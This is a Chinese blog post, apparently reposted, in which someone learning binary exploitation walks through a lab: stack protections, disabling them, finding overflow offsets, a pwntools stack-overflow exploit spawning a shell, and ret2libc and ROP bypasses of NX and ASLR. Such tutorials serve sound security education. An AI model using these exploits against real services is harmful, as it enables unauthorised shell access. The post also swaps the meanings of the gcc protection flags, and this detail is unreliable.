pwn学习(1)

0x00 简介

入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习。

0x01 保护方式

  1. NX (DEP):堆栈不可执行

  2. ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图。

pwn学习(1)_第1张图片

  1. Canary(GS):栈保护,栈被溢出时,会触发异常

  2. RELRO:GOT不可更改

0x02 栈溢出

  • 额外说一句,gcc如何对各种保护的开关

    • -fno-stack-protector:关闭堆栈不可执行
    • -z execstack:关闭canary
  • 系统关闭 ASLR:echo 0 > /proc/sys/kernel/randomize_va_space

  • 蒸米大佬测试溢出点用的是patterm.py 这个工具我没用过,我用的是cyclic

    • 生成有序字符串

      1670803-20190425145653236-135897537.png

    • 寻找到内存出错的地址后,寻找返回地址偏移

      1670803-20190425145708090-1497593918.png

    • 计算出返回地址的覆盖偏移之后,构造 ‘A’ + ret_addr 即可让程序跳转到我们想返回的地址了

    • 测试程序没有开启NX,所以直接可以在堆栈上执行代码

    • pwntools提供的函数 shellcraft.sh()可以直接生成一段shellcode

      • 提示:默认的模式为x86,x64的需要更改模式context.arch = 'amd64'
      • 想知道生成的shellcode汇编指令是啥,可以利用disasm(asm(shellcraft.sh()))查看
  • 开启 core dump功能

    • sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
    • 开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后再用gdb查看core文件就可以获得buff的真正地址
  • 首先运行程序,输入一串溢出的字符,程序崩溃后,在/tmp文件夹生成core文件

  • 使用命令 gdb ./test /tmp/core.123123123,之后 gdb会显示崩溃的 EIP ,知道溢出点的偏移(140),再加上四个字节的ret地址,可以计算buff的地址为 $esp-144 x/10s $esp - 144,得到buff地址之后,开始写 exp

  • from own import * #使用pwntools工具库
    
    p = process('./test')#本地测试
    #p = remote('127.0.0.1',9999)#远程测试
    ret = 0xXXXXXXXX
    shellcode = asm(shellcraft.sh())
    
    payload = shellcode + 'a' * (140 - len(shellcode)) + p32(ret)
    
    #发送payload
    p.send(payload)
    #开启交互shell
    p.interactive()
  • 将程序作为一个服务绑定到某个端口上

    • socat TCP4-LISTEN:10001,fork EXEC:./test

0x03 ret2libc PASS NX

  • 现在将程序的NX保护开启,依然关闭canary 和 aslr
  • 此时堆栈不可执行,上一个poc无法getsehll
  • 程序运行时会加载libc.so 文件,而这个文件中肯定有system和/bin/sh的
  • 如果关掉了aslr,system在内存中的地址是不会变化的,我们只要知道这两个地址就可getsehll
  • gdb调试起来,先在main函数下断点,系统才会将libc.so加载到内存中
  • 然后 print system 打印出system函数地址
  • 找到字符串 find 0xlibcstart ,+libcsize,"/bin/sh"
  • 写exp
    • 注意payload的构造 [padding] + [system_addr] + [junk] + [bin_addr]

0x04 ROP PASS DEP && ASLR

  • 开启系统的 ASLR ,此时你会发现上一个exp失去作用

    • echo 2 > /proc/sys/kernel/randomize_va_space
  • 原因是 ASLR 开启后,libc.so 每次加载的地址都不同了,寻找的system和binsh地址自然不对,所以失败

  • 查看程序内存空间布局可以通过 gdb 调试程序然后 vmmap 或者 info proc mappings,也可以 直接运行程序,找到pid cat /proc/[pid]/maps或者ldd (ldd我并没有测试)

  • 思路:首先泄露出一个函数真正的地址,然后根据偏移算出system函数和binsh的地址

  • 如何泄露出函数的地址呢?第一次覆盖返回地址为 write@plt 再给上 write@got 的地址,打印出libc中write的地址之后,因为libc中几个函数的相对偏移是不变的,就可以得到system的地址了

  • 打印出函数地址之后,将 eip 重新指向 函数开始 这次将返回地址覆盖为 system函数的地址 并构造好参数 即可getsehll

0x05 总结

  • rop初级用法 ,只能突破aslr和nx保护,接下来还要继续学习。

参考文章

转载于:https://www.cnblogs.com/strayboy/p/10768461.html

你可能感兴趣的:(pwn学习(1))